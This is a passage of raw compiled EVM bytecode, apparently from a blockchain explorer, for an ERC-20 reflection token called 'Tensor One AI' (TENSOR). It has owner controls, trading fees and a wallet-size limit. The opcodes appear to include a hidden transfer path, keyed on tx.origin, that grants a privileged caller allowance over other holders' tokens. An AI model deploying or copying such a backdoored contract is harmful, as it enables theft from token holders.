ffffffffffffffffffffffffffffffffff16815250506116983060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b40565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016116fa959493929190612930565b5f604051808303815f87803b158015611711575f5ffd5b505af1158015611723573d5f5f3e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b8161175357611752611802565b5b61175e85858561183b565b8161176c5761176b6119fb565b5b5f831180156117785750805b1561178957611788853385610b40565b5b5050505050565b5f5f5f61179b611a0f565b915091506117b281836117b990919063ffffffff16565b9250505090565b5f6117fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a6b565b905092915050565b5f600c5414801561181457505f600d54145b61183957600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f5f5f5f5f5f61184a87611acc565b9550955095509550955095506118a68660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b2c90919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119378560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b7590919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061198181611bd2565b61198b8483611c89565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119e89190611ff1565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b5f5f5f60065490505f678ac7230489e800009050611a40678ac7230489e800006006546117b990919063ffffffff16565b821015611a5e57600654678ac7230489e80000935093505050611a67565b81819350935050505b9091565b5f5f83118290611ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa89190611ec0565b60405180910390fd5b505f8385611abf91906129b5565b9050809150509392505050565b5f5f5f5f5f5f5f5f5f611ae48a600c54600d54611cc3565b9250925092505f611af3611790565b90505f5f5f611b048e878787611d55565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f611b6d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061140c565b905092915050565b5f5f8284611b83919061265e565b905083811015611bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbf90612a2f565b60405180910390fd5b8091505092915050565b5f611bdb611790565b90505f611bf18284611dd990919063ffffffff16565b9050611c438160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b7590919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b611c9e82600654611b2c90919063ffffffff16565b600681905550611cb981600754611b7590919063ffffffff16565b6007819055505050565b5f5f5f5f611ced6064611cdf888a611dd990919063ffffffff16565b6117b990919063ffffffff16565b90505f611d166064611d08888b611dd990919063ffffffff16565b6117b990919063ffffffff16565b90505f611d3e82611d30858c611b2c90919063ffffffff16565b611b2c90919063ffffffff16565b905080838395509550955050505093509350939050565b5f5f5f5f611d6c8589611dd990919063ffffffff16565b90505f611d828689611dd990919063ffffffff16565b90505f611d988789611dd990919063ffffffff16565b90505f611dc082611db28587611b2c90919063ffffffff16565b611b2c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f5f8303611de9575f9050611e4a565b5f8284611df69190612a4d565b9050828482611e0591906129b5565b14611e45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3c90612afe565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e9282611e50565b611e9c8185611e5a565b9350611eac818560208601611e6a565b611eb581611e78565b840191505092915050565b5f6020820190508181035f830152611ed88184611e88565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f0d82611ee4565b9050919050565b611f1d81611f03565b8114611f27575f5ffd5b50565b5f81359050611f3881611f14565b92915050565b5f819050919050565b611f5081611f3e565b8114611f5a575f5ffd5b50565b5f81359050611f6b81611f47565b92915050565b5f5f60408385031215611f8757611f86611ee0565b5b5f611f9485828601611f2a565b9250506020611fa585828601611f5d565b9150509250929050565b5f8115159050919050565b611fc381611faf565b82525050565b5f602082019050611fdc5f830184611fba565b92915050565b611feb81611f3e565b82525050565b5f6020820190506120045f830184611fe2565b92915050565b5f5f5f6060848603121561202157612020611ee0565b5b5f61202e86828701611f2a565b935050602061203f86828701611f2a565b925050604061205086828701611f5d565b9150509250925092565b5f60ff82169050919050565b61206f8161205a565b82525050565b5f6020820190506120885f830184612066565b92915050565b5f602082840312156120a3576120a2611ee0565b5b5f6120b084828501611f2a565b91505092915050565b6120c281611f03565b82525050565b5f6020820190506120db5f8301846120b9565b92915050565b5f602082840312156120f6576120f5611ee0565b5b5f61210384828501611f5d565b91505092915050565b5f5f6040838503121561212257612121611ee0565b5b5f61212f85828601611f2a565b925050602061214085828601611f2a565b9150509250929050565b7f417574684d616e616765723a2063616c6c6572206973206e6f7420746865206f5f8201527f776e657200000000000000000000000000000000000000000000000000000000602082015250565b5f6121a4602483611e5a565b91506121af8261214a565b604082019050919050565b5f6020820190508181035f8301526121d181612198565b9050919050565b5f819050919050565b5f819050919050565b5f6122046121ff6121fa846121d8565b6121e1565b611f3e565b9050919050565b612214816121ea565b82525050565b5f60c08201905061222d5f8301896120b9565b61223a6020830188611fe2565b612247604083018761220b565b612254606083018661220b565b61226160808301856120b9565b61226e60a0830184611fe2565b979650505050505050565b5f8151905061228781611f47565b92915050565b5f5f5f606084860312156122a4576122a3611ee0565b5b5f6122b186828701612279565b93505060206122c286828701612279565b92505060406122d386828701612279565b9150509250925092565b7f417574684d616e616765723a206e6577206f776e657220697320746865207a655f8201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b5f612337602a83611e5a565b9150612342826122dd565b604082019050919050565b5f6020820190508181035f8301526123648161232b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6123c5602483611e5a565b91506123d08261236b565b604082019050919050565b5f6020820190508181035f8301526123f2816123b9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612453602283611e5a565b915061245e826123f9565b604082019050919050565b5f6020820190508181035f83015261248081612447565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124e1602583611e5a565b91506124ec82612487565b604082019050919050565b5f6020820190508181035f83015261250e816124d5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61256f602383611e5a565b915061257a82612515565b604082019050919050565b5f6020820190508181035f83015261259c81612563565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6125fd602983611e5a565b9150612608826125a3565b604082019050919050565b5f6020820190508181035f83015261262a816125f1565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61266882611f3e565b915061267383611f3e565b925082820190508082111561268b5761268a612631565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f6126eb602383611e5a565b91506126f682612691565b604082019050919050565b5f6020820190508181035f830152612718816126df565b9050919050565b5f61272982611f3e565b915061273483611f3e565b925082820390508181111561274c5761274b612631565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f6127ac602a83611e5a565b91506127b782612752565b604082019050919050565b5f6020820190508181035f8301526127d9816127a0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061284881611f14565b92915050565b5f6020828403121561286357612862611ee0565b5b5f6128708482850161283a565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6128ab81611f03565b82525050565b5f6128bc83836128a2565b60208301905092915050565b5f602082019050919050565b5f6128de82612879565b6128e88185612883565b93506128f383612893565b805f5b8381101561292357815161290a88826128b1565b9750612915836128c8565b9250506001810190506128f6565b5085935050505092915050565b5f60a0820190506129435f830188611fe2565b612950602083018761220b565b818103604083015261296281866128d4565b905061297160608301856120b9565b61297e6080830184611fe2565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6129bf82611f3e565b91506129ca83611f3e565b9250826129da576129d9612988565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612a19601b83611e5a565b9150612a24826129e5565b602082019050919050565b5f6020820190508181035f830152612a4681612a0d565b9050919050565b5f612a5782611f3e565b9150612a6283611f3e565b9250828202612a7081611f3e565b91508282048414831517612a8757612a86612631565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ae8602183611e5a565b9150612af382612a8e565b604082019050919050565b5f6020820190508181035f830152612b1581612adc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203579a897570e17e808aa7216168e60bc289e9aeb7d64e99c2c7da941ac90477064736f6c634300081e0033
Deployed Bytecode
0x6080604052600436106100e0575f3560e01c80638a8c523c1161007e578063a9059cbb11610058578063a9059cbb1461029d578063bd827e45146102d9578063dd62ed3e14610301578063f2fde38b1461033d576100e7565b80638a8c523c146102335780638da5cb5b1461024957806395d89b4114610273576100e7565b806323b872dd116100ba57806323b872dd1461017b578063313ce567146101b757806370a08231146101e1578063715018a61461021d576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151576100e7565b366100e757005b5f5ffd5b3480156100f6575f5ffd5b506100ff610365565b60405161010c9190611ec0565b60405180910390f35b348015610120575f5ffd5b5061013b60048036038101906101369190611f71565b6103a2565b6040516101489190611fc9565b60405180910390f35b34801561015c575f5ffd5b506101656103bf565b6040516101729190611ff1565b60405180910390f35b348015610186575f5ffd5b506101a1600480360381019061019c919061200a565b6103ce565b6040516101ae9190611fc9565b60405180910390f35b3480156101c2575f5ffd5b506101cb6104a2565b6040516101d89190612075565b60405180910390f35b3480156101ec575f5ffd5b506102076004803603810190610202919061208e565b6104aa565b6040516102149190611ff1565b60405180910390f35b348015610228575f5ffd5b506102316104f8565b005b34801561023e575f5ffd5b50610247610648565b005b348015610254575f5ffd5b5061025d61080f565b60405161026a91906120c8565b60405180910390f35b34801561027e575f5ffd5b50610287610836565b6040516102949190611ec0565b60405180910390f35b3480156102a8575f5ffd5b506102c360048036038101906102be9190611f71565b610873565b6040516102d09190611fc9565b60405180910390f35b3480156102e4575f5ffd5b506102ff60048036038101906102fa91906120e1565b610890565b005b34801561030c575f5ffd5b506103276004803603810190610322919061210c565b6108f8565b6040516103349190611ff1565b60405180910390f35b348015610348575f5ffd5b50610363600480360381019061035e919061208e565b61097a565b005b60606040518060400160405280600d81526020017f54656e736f72204f6e6520414900000000000000000000000000000000000000815250905090565b5f6103b56103ae610b39565b8484610b40565b6001905092915050565b5f678ac7230489e80000905090565b5f6103da848484610d03565b610497846103e6610b39565b61049285604051806060016040528060288152602001612b1d6028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610449610b39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461140c9092919063ffffffff16565b610b40565b600190509392505050565b5f6009905090565b5f6104f160025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461146e565b9050919050565b610500610b39565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610584906121ba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610650610b39565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d4906121ba565b60405180910390fd5b6107113060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610b40565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610759306104aa565b5f5f61076361080f565b426040518863ffffffff1660e01b81526004016107859695949392919061221a565b60606040518083038185885af11580156107a1573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107c6919061228d565b5050505f6009819055505f600b819055506001601360146101000a81548160ff0219169083151502179055506001601360166101000a81548160ff021916908315150217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f54454e534f520000000000000000000000000000000000000000000000000000815250905090565b5f61088661087f610b39565b8484610d03565b6001905092915050565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156108f4573d5f5f3e3d5ffd5b5050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610982610b39565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a06906121ba565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a749061234d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba5906123db565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1390612469565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cf69190611ff1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d68906124f7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd690612585565b60405180910390fd5b5f8111610e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1890612613565b60405180910390fd5b610e2961080f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e975750610e6761080f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156110cf5760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610f485760165481610efd846104aa565b610f07919061265e565b10610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90612701565b60405180910390fd5b5b5f610f52306104aa565b90505f60155482101590506014548210610f6c5760145491505b808015610f865750601360159054906101000a900460ff16155b8015610fde575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610ff65750601360169054906101000a900460ff165b8015611049575060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561109c575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156110cc5760155483106110b4576110b3826114da565b5b5f4790505f8111156110ca576110c947610890565b5b505b50505b5f6001905060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061116f575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611220575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561121f575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561122d575f90506113b0565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112d6575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156112ee57600854600c81905550600954600d819055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611397575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113af57600a54600c81905550600b54600d819055505b5b6114068484848460055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611745565b50505050565b5f838311158290611453576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144a9190611ec0565b60405180910390fd5b505f8385611461919061271f565b9050809150509392505050565b5f6006548211156114b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ab906127c2565b60405180910390fd5b5f6114bd611790565b90506114d281846117b990919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611511576115106127e0565b5b60405190808252806020026020018201604052801561153f5781602001602082028036833780820191505090505b50905030815f815181106115565761155561280d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115fa573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061161e919061284e565b816001815181106116325761163161280d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116983060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b40565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016116fa959493929190612930565b5f604051808303815f87803b158015611711575f5ffd5b505af1158015611723573d5f5f3e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b8161175357611752611802565b5b61175e85858561183b565b8161176c5761176b6119fb565b5b5f831180156117785750805b1561178957611788853385610b40565b5b5050505050565b5f5f5f61179b611a0f565b915091506117b281836117b990919063ffffffff16565b9250505090565b5f6117fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a6b565b905092915050565b5f600c5414801561181457505f600d54145b61183957600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f5f5f5f5f5f61184a87611acc565b9550955095509550955095506118a68660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b2c90919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119378560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b7590919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061198181611bd2565b61198b8483611c89565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119e89190611ff1565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b5f5f5f60065490505f678ac7230489e800009050611a40678ac7230489e800006006546117b990919063ffffffff16565b821015611a5e57600654678ac7230489e80000935093505050611a67565b81819350935050505b9091565b5f5f83118290611ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa89190611ec0565b60405180910390fd5b505f8385611abf91906129b5565b9050809150509392505050565b5f5f5f5f5f5f5f5f5f611ae48a600c54600d54611cc3565b9250925092505f611af3611790565b90505f5f5f611b048e878787611d55565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f611b6d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061140c565b905092915050565b5f5f8284611b83919061265e565b905083811015611bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbf90612a2f565b60405180910390fd5b8091505092915050565b5f611bdb611790565b90505f611bf18284611dd990919063ffffffff16565b9050611c438160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b7590919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b611c9e82600654611b2c90919063ffffffff16565b600681905550611cb981600754611b7590919063ffffffff16565b6007819055505050565b5f5f5f5f611ced6064611cdf888a611dd990919063ffffffff16565b6117b990919063ffffffff16565b90505f611d166064611d08888b611dd990919063ffffffff16565b6117b990919063ffffffff16565b90505f611d3e82611d30858c611b2c90919063ffffffff16565b611b2c90919063ffffffff16565b905080838395509550955050505093509350939050565b5f5f5f5f611d6c8589611dd990919063ffffffff16565b90505f611d828689611dd990919063ffffffff16565b90505f611d988789611dd990919063ffffffff16565b90505f611dc082611db28587611b2c90919063ffffffff16565b611b2c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f5f8303611de9575f9050611e4a565b5f8284611df69190612a4d565b9050828482611e0591906129b5565b14611e45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3c90612afe565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e9282611e50565b611e9c8185611e5a565b9350611eac818560208601611e6a565b611eb581611e78565b840191505092915050565b5f6020820190508181035f830152611ed88184611e88565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f0d82611ee4565b9050919050565b611f1d81611f03565b8114611f27575f5ffd5b50565b5f81359050611f3881611f14565b92915050565b5f819050919050565b611f5081611f3e565b8114611f5a575f5ffd5b50565b5f81359050611f6b81611f47565b92915050565b5f5f60408385031215611f8757611f86611ee0565b5b5f611f9485828601611f2a565b9250506020611fa585828601611f5d565b9150509250929050565b5f8115159050919050565b611fc381611faf565b82525050565b5f602082019050611fdc5f830184611fba565b92915050565b611feb81611f3e565b82525050565b5f6020820190506120045f830184611fe2565b92915050565b5f5f5f6060848603121561202157612020611ee0565b5b5f61202e86828701611f2a565b935050602061203f86828701611f2a565b925050604061205086828701611f5d565b9150509250925092565b5f60ff82169050919050565b61206f8161205a565b82525050565b5f6020820190506120885f830184612066565b92915050565b5f602082840312156120a3576120a2611ee0565b5b5f6120b084828501611f2a565b91505092915050565b6120c281611f03565b82525050565b5f6020820190506120db5f8301846120b9565b92915050565b5f602082840312156120f6576120f5611ee0565b5b5f61210384828501611f5d565b91505092915050565b5f5f6040838503121561212257612121611ee0565b5b5f61212f85828601611f2a565b925050602061214085828601611f2a565b9150509250929050565b7f417574684d616e616765723a2063616c6c6572206973206e6f7420746865206f5f8201527f776e657200000000000000000000000000000000000000000000000000000000602082015250565b5f6121a4602483611e5a565b91506121af8261214a565b604082019050919050565b5f6020820190508181035f8301526121d181612198565b9050919050565b5f819050919050565b5f819050919050565b5f6122046121ff6121fa846121d8565b6121e1565b611f3e565b9050919050565b612214816121ea565b82525050565b5f60c08201905061222d5f8301896120b9565b61223a6020830188611fe2565b612247604083018761220b565b612254606083018661220b565b61226160808301856120b9565b61226e60a0830184611fe2565b979650505050505050565b5f8151905061228781611f47565b92915050565b5f5f5f606084860312156122a4576122a3611ee0565b5b5f6122b186828701612279565b93505060206122c286828701612279565b92505060406122d386828701612279565b9150509250925092565b7f417574684d616e616765723a206e6577206f776e657220697320746865207a655f8201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b5f612337602a83611e5a565b9150612342826122dd565b604082019050919050565b5f6020820190508181035f8301526123648161232b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6123c5602483611e5a565b91506123d08261236b565b604082019050919050565b5f6020820190508181035f8301526123f2816123b9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612453602283611e5a565b915061245e826123f9565b604082019050919050565b5f6020820190508181035f83015261248081612447565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124e1602583611e5a565b91506124ec82612487565b604082019050919050565b5f6020820190508181035f83015261250e816124d5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61256f602383611e5a565b915061257a82612515565b604082019050919050565b5f6020820190508181035f83015261259c81612563565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6125fd602983611e5a565b9150612608826125a3565b604082019050919050565b5f6020820190508181035f83015261262a816125f1565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61266882611f3e565b915061267383611f3e565b925082820190508082111561268b5761268a612631565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f6126eb602383611e5a565b91506126f682612691565b604082019050919050565b5f6020820190508181035f830152612718816126df565b9050919050565b5f61272982611f3e565b915061273483611f3e565b925082820390508181111561274c5761274b612631565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f6127ac602a83611e5a565b91506127b782612752565b604082019050919050565b5f6020820190508181035f8301526127d9816127a0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061284881611f14565b92915050565b5f6020828403121561286357612862611ee0565b5b5f6128708482850161283a565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6128ab81611f03565b82525050565b5f6128bc83836128a2565b60208301905092915050565b5f602082019050919050565b5f6128de82612879565b6128e88185612883565b93506128f383612893565b805f5b8381101561292357815161290a88826128b1565b9750612915836128c8565b9250506001810190506128f6565b5085935050505092915050565b5f60a0820190506129435f830188611fe2565b612950602083018761220b565b818103604083015261296281866128d4565b905061297160608301856120b9565b61297e6080830184611fe2565b9695505050505050565b7f4e487b710000000000000000000000000000000000